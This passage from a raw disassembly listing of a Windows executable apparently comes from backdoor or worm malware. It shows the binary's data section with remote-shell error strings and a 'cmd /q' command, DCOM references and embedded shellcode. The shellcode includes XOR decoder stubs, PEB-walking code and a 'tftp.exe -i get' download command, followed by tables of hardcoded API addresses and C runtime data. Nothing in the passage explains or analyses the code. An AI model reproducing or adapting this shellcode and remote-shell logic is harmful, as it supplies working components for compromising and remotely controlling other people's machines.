29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4386DC dw 59h ; DATA XREF: sub_415FE8+38r align 10h dword_4386E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416304+E2o dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 8 dword_438728 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416304+59o ; sub_416304+8Fo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 10h dword_438780 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416459+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4387B8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416459+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_438808 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416459+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_438858 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416552+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416552+8Co align 8 dword_4388A8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41662B+8Do dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 8 loc_4388F8: ; DATA XREF: sub_416979+BEo jmp short loc_4388FC ; --------------------------------------------------------------------------- loc_4388FA: ; CODE XREF: .data:loc_4388FCp jmp short loc_438901 ; --------------------------------------------------------------------------- loc_4388FC: ; CODE XREF: .data:loc_4388F8j call loc_4388FA loc_438901: ; CODE XREF: .data:loc_4388FAj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_438906 dw 0FFFFh ; DATA XREF: sub_416979+C6w db 80h, 73h, 0Eh byte_43890B db 0FFh ; DATA XREF: sub_416979+CDw dd 0F9E243h ; --------------------------------------------------------------------------- loc_438910: ; DATA XREF: sub_416979+9Co jmp short loc_438914 ; --------------------------------------------------------------------------- loc_438912: ; CODE XREF: .data:loc_438914p jmp short loc_438919 ; --------------------------------------------------------------------------- loc_438914: ; CODE XREF: .data:loc_438910j call loc_438912 loc_438919: ; CODE XREF: .data:loc_438912j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_43891D db 0FFh ; DATA XREF: sub_416979+A4w dw 7380h db 0Ch byte_438921 db 0FFh ; DATA XREF: sub_416979+AAw dw 0E243h dd 0F9h dword_438928 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416802+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43898C dd 12h ; DATA XREF: sub_416802+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416802+79o aJ db 'j',0 db 0E8h dword_4389A5 dd 17h ; DATA XREF: sub_416802+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4389AC retn ; --------------------------------------------------------------------------- byte_4389AC db 0E8h ; CODE XREF: .data:004389A9j dword_4389AD dd 1 ; DATA XREF: sub_416802+45w byte_4389B1 db 0, 6Ah, 0 ; DATA XREF: sub_416802+C2o dd 7E8h db 0, 0Fh, 84h dword_4389BB dd 0FFFFFFEDh ; DATA XREF: sub_416802+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_416B37+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416D02+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416D02+35o dword_438A3C dd 0F5BB9C9Ch ; DATA XREF: sub_417008+4w sub_417012r ... dword_438A40 dd 173Fh ; DATA XREF: sub_4179A4+Dr dd 9875h, 9873h off_438A4C dd offset sub_417A73 ; DATA XREF: sub_4197B8r dd offset nullsub_2 dd offset nullsub_2 dword_438A58 dd 1B3Fh ; DATA XREF: sub_417AEB+Dr dword_438A5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_417F6D+2o ; sub_417F76+2o off_438A70 dd offset sub_4197F6 ; DATA XREF: sub_4199DA+1Cr dword_438A74 dd 2 ; DATA XREF: sub_41F578+Er ; sub_41F5B1+46r ... off_438A78 dd offset aNull_0 ; DATA XREF: sub_419B38:loc_419E9Cr ; sub_419B38+457r ; "(null)" off_438A7C dd offset aNull ; DATA XREF: sub_419B38+259r ; "(null)" off_438A80 dd offset word_438A8A ; DATA XREF: sub_417494+23r ; sub_417494:loc_4174F5r ... off_438A84 dd offset word_438A8A ; DATA XREF: sub_422BB1+18r db 2 dup(0) word_438A8A dw 20h ; DATA XREF: sub_420D5E+18r ; .data:off_438A80o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_438C8C dd 1 ; DATA XREF: sub_417494:loc_41749Cr ; sub_417494:loc_4174E0r ... byte_438C90 db 2Eh ; DATA XREF: sub_41C56F:loc_41C5AFr ; sub_41C5C9+4r ... align 4 dd 1, 10h, 0 off_438CA0 dd offset off_438CA0 ; DATA XREF: sub_41B588+Do ; sub_41B588+69o ... off_438CA4 dd offset off_438CA0 ; DATA XREF: sub_41B588:loc_41B608r ; sub_41B588+89w ... dd offset dword_438CB8 dd offset dword_438CB8 dword_438CB0 dd 0FFFFFFFFh ; DATA XREF: sub_41B588r ; sub_41B6CC:loc_41B719w dd 0FFFFFFFFh dword_438CB8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:00438CA8o ; .data:00438CACo off_43ACC0 dd offset off_438CA0 ; DATA XREF: sub_41B6CC+15r ; sub_41B6CC+20w ... dword_43ACC4 dd 1E0h ; DATA XREF: sub_4178C7:loc_417903r ; sub_41914F+185r ... dword_43ACC8 dd 14h ; DATA XREF: sub_41C2B8+2o off_43ACCC dd offset aExp ; DATA XREF: sub_41C2B8:loc_41C2D5r ; "exp" dd 1Dh, 423804h, 1Ah, 423800h, 1Bh, 4237F8h, 1Fh, 4237F0h dd 13h, 4237E8h, 21h, 4237E0h, 0Eh, 4237D8h, 0Dh, 4237D0h dd 0Fh, 4237C8h, 10h, 4237C0h, 5, 4237B8h, 1Eh, 4237B4h dd 12h, 4237B0h, 20h, 4237ACh, 0Ch, 4237A4h, 0Bh, 42379Ch dd 15h, 423794h, 1Ch, 42378Ch, 19h, 423784h, 11h, 42377Ch dd 18h, 423774h, 16h, 42376Ch, 17h, 423764h, 22h, 423760h dd 23h, 42375Ch, 24h, 423758h dbl_43ADA0 dq 1.797693134862316e308 ; DATA XREF: sub_41BFF3+B7r ; sub_41BFF3:loc_41C0DAr ... dd 0 dd 0FFF80000h dbl_43ADB0 dq 1.797693134862316e308 ; DATA XREF: sub_41BFF3+92r ; sub_41BFF3:loc_41C0B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43ADC8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C4A0+Dr ; sub_41C4A0+1Fr align 4 tbyte_43ADD4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C4A0+31r align 10h off_43ADE0 dd offset sub_41C934 ; DATA XREF: sub_417A8B+Fw ; sub_419B38+3AAr off_43ADE4 dd offset sub_41C5C9 ; DATA XREF: sub_417A8B+5w ; sub_419B38+3E2r off_43ADE8 dd offset sub_41C62F ; DATA XREF: sub_417A8B+14w ; sub_41D497+430r off_43ADEC dd offset sub_41C56F ; DATA XREF: sub_417A8B+1Ew ; sub_419B38+3CBr off_43ADF0 dd offset sub_41C617 ; DATA XREF: sub_417A8B+28w off_43ADF4 dd offset sub_41C934 ; DATA XREF: sub_417A8B+32w dd offset sub_42059A align 10h dd offset sub_41D1FC off_43AE04 dd offset sub_41D1FC ; DATA XREF: sub_41D252+29r dword_43AE08 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D497:loc_41D9FEo dword_43AE10 dd 5Dh, 0 ; DATA XREF: sub_41D497:loc_41D8EEo byte_43AE18 db 1 ; DATA XREF: sub_41E658+E1r db 2, 4, 8 align 10h dword_43AE20 dd 3A4h ; DATA XREF: sub_41E658+2Fo dword_43AE24 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E658+11Dr dword_43AE30 dd 0DFA6h ; DATA XREF: sub_41E658+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43AF10 dd 1 ; DATA XREF: sub_41E658+3Co ; sub_41EC6F+Co dword_43AF14 dd 16h ; DATA XREF: sub_41EC6F:loc_41ECA4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43B078 dd 0C0000005h ; DATA XREF: sub_41EC6F+19o ; sub_41EE17+Ar ... dword_43B07C dd 0Bh ; DATA XREF: sub_421A99+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43B0F0 dd 3 ; DATA XREF: sub_41ECD6+58r ; sub_42196C+C8r dword_43B0F4 dd 7 ; DATA XREF: sub_41ECD6+5Er ; sub_42196C+CDr dword_43B0F8 dd 0Ah ; DATA XREF: sub_41EE17+4r ; sub_421A99+4r dword_43B0FC dd 8Ch ; DATA XREF: sub_41ECD6+82r ; sub_41ECD6+8Fw ... dword_43B100 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419A23:loc_419AE0o ; sub_41DF48:loc_41DFC9o dword_43B108 dd 2 ; DATA XREF: sub_41F5B1+Eo ; sub_41F5B1+28r off_43B10C dd offset aR6002FloatingP ; DATA XREF: sub_41F5B1+FCr ; sub_41F5B1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 423B24h, 9, 423AF8h, 0Ah, 423AD4h, 10h, 423AA8h dd 11h, 423A78h, 12h, 423A54h, 13h, 423A28h, 18h, 4239F0h dd 19h, 4239C8h, 1Ah, 423990h, 1Bh, 423958h, 1Ch, 423930h dd 78h, 423920h, 79h, 423910h, 7Ah, 423900h, 0FCh, 42941Ch dd 0FFh, 4238F0h off_43B198 dd offset dword_4897C0 ; DATA XREF: sub_41F5B1+1Bo ; sub_41F76E+55o align 10h dd offset dword_4897C0 dd 101h dword_43B1A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41F76E+72o dd 1000h, 0 dword_43B1B8 dd 3 dup(0) ; DATA XREF: sub_419A23+50o ; sub_41A5A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43B1D8 dd 3 dup(0) ; DATA XREF: sub_419A23+58o ; sub_41A5A2:loc_41A5C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43B208 dd 84h dup(0) ; DATA XREF: sub_41F76E+9Bo dword_43B418 dd 2694h ; DATA XREF: sub_41BC55+3r ; sub_41BCA8+46r ... align 10h dword_43B420 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42037Ao dword_43B438 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420390o dword_43B450 dd 7080h ; DATA XREF: sub_41D309+76r ; sub_42067A+5Ew ... dword_43B454 dd 1 ; DATA XREF: sub_41D309+98r ; sub_42067A+8Bw ... dword_43B458 dd 0FFFFF1F0h ; DATA XREF: sub_41D309:loc_41D3BBr ; sub_42067A+94w ... dword_43B45C dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_43B4DCo dword_43B49C dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_43B4E0o off_43B4DC dd offset dword_43B45C ; DATA XREF: sub_42067A+BAr ; sub_42067A+D9r ... off_43B4E0 dd offset dword_43B49C ; DATA XREF: sub_42067A+F4r ; sub_42067A+11Br ... align 8 dword_43B4E8 dd 0FFFFFFFFh ; DATA XREF: sub_42067A+1Dw ; sub_4208D8+1Er ... dword_43B4EC dd 0 ; DATA XREF: sub_4208D8:loc_420A0Cr ; sub_420A84+BFw dword_43B4F0 dd 0 ; DATA XREF: sub_4208D8+192r ; sub_420A84+E0w align 8 dword_43B4F8 dd 0FFFFFFFFh ; DATA XREF: sub_42067A+17w ; sub_4208D8+26r ... dword_43B4FC dd 0 ; DATA XREF: sub_4208D8+13Ar ; sub_420A84+EAw ... dword_43B500 dd 0 ; DATA XREF: sub_4208D8+1A1r ; sub_420A84+23r ... dword_43B504 dd 0FFFFFFFFh ; DATA XREF: sub_420A84+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43B534 dd 16Dh ; DATA XREF: sub_41D309+2Ar ; sub_420A84+2Er ... dword_43B538 dd 0FFFFFFFFh ; DATA XREF: sub_420A84:loc_420B10r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43B570 dd 2 dup(0) ; DATA XREF: sub_421DF1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43B6D0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_421DF1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43B82C dd offset off_423CF8 ; DATA XREF: .data:00423ED4o ; .data:00423FACo dd 0 a_?avexception@ db '.?AVexception@@',0 off_43B844 dd offset off_423CF8 ; DATA XREF: .data:off_423D88o ; .data:00423DC8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43B864 dd offset off_423CF8 ; DATA XREF: .data:off_423DD0o ; .data:00423E14o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43B884 dd offset off_423CF8 ; DATA XREF: .data:off_423E1Co ; .data:00423E60o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_43B8A8 dd offset off_423CF8 ; DATA XREF: .data:off_423E68o ; .data:00423EA4o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42059A align 8 byte_43B8C8 db 0 ; DATA XREF: sub_401444+1C1w ; sub_401444+2C0o align 2 word_43B8CA dw 0 ; DATA XREF: sub_401444+1D1w word_43B8CC dw 0 ; DATA XREF: sub_401444+1D7w word_43B8CE dw 0 ; DATA XREF: sub_401444+1DEw byte_43B8D0 db 0 ; DATA XREF: sub_401444+1E5w byte_43B8D1 db 0 ; DATA XREF: sub_401444+1ECw word_43B8D2 dw 0 ; DATA XREF: sub_401444+1F2w dword_43B8D4 dd 0 ; DATA XREF: sub_401444+220w ; sub_401444+23Ew dword_43B8D8 dd 0 ; DATA XREF: sub_401444+246w byte_43B8DC db 0 ; DATA XREF: sub_401444+258w byte_43B8DD db 0 ; DATA XREF: sub_401444+26Bw word_43B8DE dw 0 ; DATA XREF: sub_401444+283w word_43B8E0 dw 0 ; DATA XREF: sub_401444+292w word_43B8E2 dw 0 ; DATA XREF: sub_401444+28Aw dword_43B8E4 dd 100h dup(0) ; DATA XREF: sub_401444+2A7o dword_43BCE4 dd 0 ; DATA XREF: sub_4029C8+9Eo byte_43BCE8 db 0 ; DATA XREF: sub_4029C8+36r ; sub_402AAB+37r ... align 4 dword_43BCEC dd 7A5h ; DATA XREF: sub_4030A7+10w ; sub_4030BE+30r ... dword_43BCF0 dd 2 dup(0) ; DATA XREF: sub_403E73+68o dword_43BCF8 dd 0 ; DATA XREF: sub_403923+13o ; sub_40EC43+60D3o ... dword_43BCFC dd 2080Ah ; DATA XREF: sub_404808+8w ; sub_404904+2C9o dword_43BD00 dd 2 dup(0) ; DATA XREF: sub_404904+1F8o dword_43BD08 dd 0 ; DATA XREF: sub_40586C+2Aw ; sub_40586C+51r ... dword_43BD0C dd 0 ; DATA XREF: sub_4030BE+AEr ; .data:0040428Fr ... dword_43BD10 dd 0 ; DATA XREF: sub_40702C+18r ; sub_40747F+92w ... dword_43BD14 dd 0 ; DATA XREF: sub_4075B8+1F7r ; sub_4077CC+D9w ... dd 3E6h dup(0) dword_43CCB0 dd 6 dup(0) ; DATA XREF: sub_4075B8+C0o ; sub_4075B8+129o ... dword_43CCC8 dd 0 ; DATA XREF: sub_4070A3+82w ; sub_4070A3+FFo dword_43CCCC dd 41h dup(0) ; DATA XREF: sub_4070A3+41o dword_43CDD0 dd 41h dup(0) ; DATA XREF: sub_4070A3+63o dword_43CED4 dd 0 ; DATA XREF: sub_4070A3+F5w ; sub_4070A3+111r dword_43CED8 dd 0 ; DATA XREF: sub_4070A3+52w dword_43CEDC dd 0 ; DATA XREF: sub_4070A3+4Dw ; sub_4070A3+D2r dword_43CEE0 dd 20h dup(0) ; DATA XREF: sub_4070A3+9Ao ; sub_4070A3+B7o dword_43CF60 dd 0 ; DATA XREF: sub_4070A3+8Fw dword_43CF64 dd 0 ; DATA XREF: sub_4070A3+A4w ; sub_4070A3+C1w dword_43CF68 dd 0 ; DATA XREF: sub_4070A3:loc_407269r align 10h dword_43CF70 dd 0 ; DATA XREF: sub_4070A3+2D5w ; sub_4070A3+32Eo dword_43CF74 dd 0A2h dup(0) ; DATA XREF: sub_4070A3+2C3o dword_43D1FC dd 41h dup(0) ; DATA XREF: sub_4070A3+28Do dword_43D300 dd 0 ; DATA XREF: sub_4070A3+2BAw ; sub_4070A3+2E1r align 8 dword_43D308 dd 0 ; DATA XREF: sub_4070A3+324w ; sub_4070A3+340r dword_43D30C dd 0 ; DATA XREF: sub_4070A3+2E7w dword_43D310 dd 0 ; DATA XREF: sub_4070A3+2F4w dword_43D314 dd 0 ; DATA XREF: sub_4070A3+2B4w dd 0 dword_43D31C dd 0 ; DATA XREF: sub_4070A3:loc_40742Dr dword_43D320 dd 0 ; DATA XREF: sub_4070A3+190w ; sub_4070A3+222o dword_43D324 dd 41h dup(0) ; DATA XREF: sub_4070A3+152o dword_43D428 dd 41h dup(0) ; DATA XREF: sub_4070A3+171o dword_43D52C dd 0 ; DATA XREF: sub_4070A3+218w ; sub_4070A3+234r dword_43D530 dd 0 ; DATA XREF: sub_4070A3+160w dword_43D534 dd 0 ; DATA XREF: sub_4070A3+1F5r dword_43D538 dd 20h dup(0) ; DATA XREF: sub_4070A3+1A8o ; sub_4070A3+1DAo dword_43D5B8 dd 0 ; DATA XREF: sub_4070A3+19Dw dword_43D5BC dd 0 ; DATA XREF: sub_4070A3+1B2w ; sub_4070A3+1E4w dword_43D5C0 dd 0 ; DATA XREF: sub_4070A3:loc_407307r dword_43D5C4 dd 0 ; DATA XREF: sub_40862B+Fr ; sub_408824+12r dword_43D5C8 dd 80h dup(0) ; DATA XREF: sub_40953F+41o dword_43D7C8 dd 200h dup(0) ; DATA XREF: sub_408E7C+C7o ; sub_4091D7+DDo ... dword_43DFC8 dd 200h dup(0) ; DATA XREF: sub_408E7C+D6o ; sub_4091D7+F4o ... dword_43E7C8 dd 0 ; DATA XREF: sub_408E7C+86w ; sub_40904E+94r dword_43E7CC dd 0 ; DATA XREF: sub_408E7C+A7w ; sub_4094A8+55r ... dword_43E7D0 dd 0 ; DATA XREF: sub_408E7C+A0w ; sub_40904E+D6r ... dword_43E7D4 dd 0 ; DATA XREF: sub_408E7C+79w ; sub_40904E+35r ... dword_43E7D8 dd 80h dup(0) ; DATA XREF: sub_4094A8+5Eo dword_43E9D8 dd 0 ; DATA XREF: sub_408E7C+93w ; sub_40904E+A2r dword_43E9DC dd 0 ; DATA XREF: sub_408E7C+E7o ; sub_408E7C+103r ... dword_43E9E0 dd 0 ; DATA XREF: sub_4091D7+178w ; sub_40937B+107w dword_43E9E4 dd 0 ; DATA XREF: sub_4091D7+17Dw ; sub_40937B+10Dw ... dword_43E9E8 dd 0 ; DATA XREF: sub_4091D7+156w ; sub_4094A8+4Fr dword_43E9EC dd 77C72C6Bh ; DATA XREF: sub_4083F0+210r ; sub_4083F0+21Ar ... dword_43E9F0 dd 77EBA994h ; DATA XREF: sub_409658+65w ; sub_414F16+EEr dword_43E9F4 dd 7622A3F4h ; DATA XREF: sub_409658+7EDw ; sub_409658+862r ... dword_43E9F8 dd 71C45229h ; DATA XREF: sub_409658+9BAw ; sub_409658+A18r ... dword_43E9FC dd 71C24870h ; DATA XREF: sub_409658+96Cw ; sub_409658+9E8r ... dword_43EA00 dd 77C71BB0h ; DATA XREF: sub_4083F0+D1r ; sub_409658+46Fw ... dword_43EA04 dd 77D4808Bh ; DATA XREF: sub_402394+ECr ; sub_402394+108r ... dword_43EA08 dd 71C4502Ch ; DATA XREF: sub_409658+9ADw ; sub_409658+A10r ... dword_43EA0C dd 77DE801Bh ; DATA XREF: sub_409658+354w ; sub_409658+3A9r ... dword_43EA10 dd 77DDACABh ; DATA XREF: sub_409658+3F1w ; sub_40B6ED+11Er dword_43EA14 dd 77DE8075h ; DATA XREF: sub_409658+361w ; sub_409658+3B1r ... dword_43EA18 dd 77DD7496h ; DATA XREF: sub_409658+3A2w ; sub_40DAED+ADr dword_43EA1C dd 71AB1B7Bh ; DATA XREF: sub_405983+115r ; sub_4082F7+76r ... dword_43EA20 dd 77E686CCh ; DATA XREF: sub_409658+72w ; sub_409658+D2r ... dword_43EA24 dd 71C2498Bh ; DATA XREF: sub_409658+95Fw ; sub_409658+9DBr ... dword_43EA28 dd 77DDAB2Fh ; DATA XREF: sub_409658+388w ; sub_409658+3C9r ... dword_43EA2C dd 7620E8C3h ; DATA XREF: sub_409658+83Bw ; sub_409658+88Er ... dword_43EA30 dd 77DD23D7h ; DATA XREF: sub_408A63+58r ; sub_409658+2A5w ... dword_43EA34 dd 76214750h ; DATA XREF: sub_409658+82Ew ; sub_409658+886r ... dword_43EA38 dd 77E6D75Bh ; DATA XREF: sub_409658+B3w dword_43EA3C dd 7620BD61h ; DATA XREF: sub_409658+848w ; sub_409658+896r ... dword_43EA40 dd 71AB60C9h ; DATA XREF: sub_407A23+7Er ; sub_409658+52Fw ... dword_43EA44 dd 77EBA6E9h ; DATA XREF: sub_409658+58w ; sub_409658+CAr ... dword_43EA48 dd 76D62A58h ; DATA XREF: sub_409658+916w ; sub_40ADB1+11Ar dword_43EA4C dd 76F36EAAh ; DATA XREF: sub_409658+A66w ; sub_409658+A6Dr ... dword_43EA50 dd 77E802FCh ; DATA XREF: sub_409658+A6w ; sub_409658+F2r dword_43EA54 dd 77C75455h ; DATA XREF: sub_4083F0+119r ; sub_409658+462w ... dword_43EA58 dd 71AB12A7h ; DATA XREF: sub_407437+20r ; sub_409658+5D8w ... dword_43EA5C dd 71C574FAh ; DATA XREF: sub_409658+9A0w ; sub_409658+A08r dword_43EA60 dd 71AB1746h ; DATA XREF: sub_402669+280r ; sub_409658+5CBw ... dword_43EA64 dd 71B28D0Dh ; DATA XREF: sub_402AAB+A7r ; sub_409658+B21w dword_43EA68 dd 762211EFh ; DATA XREF: sub_409658+7E0w ; sub_409658+84Fr ... dword_43EA6C dd 77D902E3h ; DATA XREF: sub_409658+1B3w ; sub_40AA4E+15r dword_43EA70 dd 71C2FA86h ; DATA XREF: sub_409658+979w ; sub_409658+9F0r ... dword_43EA74 dd 77DE1291h ; DATA XREF: sub_409658+36Ew ; sub_409658+3B9r ... dword_43EA78 dd 77E2C1B3h ; DATA XREF: sub_409658+37Bw ; sub_409658+3C1r ... dword_43EA7C dd 73B81E3Bh ; DATA XREF: sub_40862B+28r ; sub_408824+2Br ... dword_43EA80 dd 71ABF628h ; DATA XREF: sub_409658+68Ew ; sub_415208+D0r dword_43EA84 dd 71AB1836h ; DATA XREF: sub_4010B2:loc_4013B3r ; sub_401A64:loc_401CE0r ... dword_43EA88 dd 77C72889h ; DATA XREF: sub_4083F0+207r ; sub_409658+496w dword_43EA8C dd 71C453F8h ; DATA XREF: sub_409658+9C7w ; sub_409658+A20r ... dword_43EA90 dd 77DD5C55h ; DATA XREF: sub_409658+2B2w ; sub_409658+2DEr ... dword_43EA94 dd 77E96645h ; DATA XREF: sub_409658+7Fw ; sub_409658+DAr 